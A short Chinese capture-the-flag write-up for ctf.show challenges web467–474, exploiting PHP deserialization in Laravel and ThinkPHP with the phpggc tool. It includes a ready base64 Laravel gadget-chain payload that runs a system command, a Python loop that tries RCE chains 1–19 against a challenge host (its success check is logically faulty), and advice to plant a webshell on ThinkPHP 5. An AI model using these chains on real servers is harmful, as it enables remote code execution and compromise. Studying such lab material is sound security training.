这里直接实用php反序列化工具phpcgi进行攻击,里面继承了一些常见php框架的反序列化漏洞,找到合适的漏洞就可以利用了
./ghpgcc -l
找到具体的框架和对应的漏洞后
./ghpgcc -i Laravel/RCE2
将反序列化的值进行base64编码后进行命令执行
/admin/Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAq
AGxpc3RlbmVycyI7YToxOntzOjg6InRhYyAvZmwqIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19
czo4OiIAKgBldmVudCI7czo4OiJ0YWMgL2ZsKiI7fQo=
web467 Laravel
还是利用rce2
web468 Laravel
import os
import requests
for i in range(1,20):
data=os.popen(f"./phpggc Laravel/RCE{i} system 'ls'|base64").read()
url = f"http://30addae8-943a-42f4-9f4e-b004b49f91b5.challenge.ctf.show/admin/{data}"
res=requests.get(url).text
if 'unserialize' and 'done' in res:
if "Exception" not in res:
print(f"RCE{i}success!")
发现反序列化结果会被调试页面覆盖,这里将结果写入文件就可以了
web469 Laravel
rec4就可以了
web470 Laravel
web471 Laravel
同上
web472 Laravel
检测到14还可以用。
web473 thinkphp
https://www.cnblogs.com/litlife/p/11273652.html
工具一把梭,后面来研究原理
web474 tp5 construct_code_exec_2
Thinkphp v5.x 远程代码执行漏洞复现及POC集合-CSDN博客
通过扫描http://d3b9ec88-7ab9-4c06-ba6b-daeb75d696b4.challenge.ctf.show/public,发现了这个漏洞,命令执行没有回显,写入shell就可以了。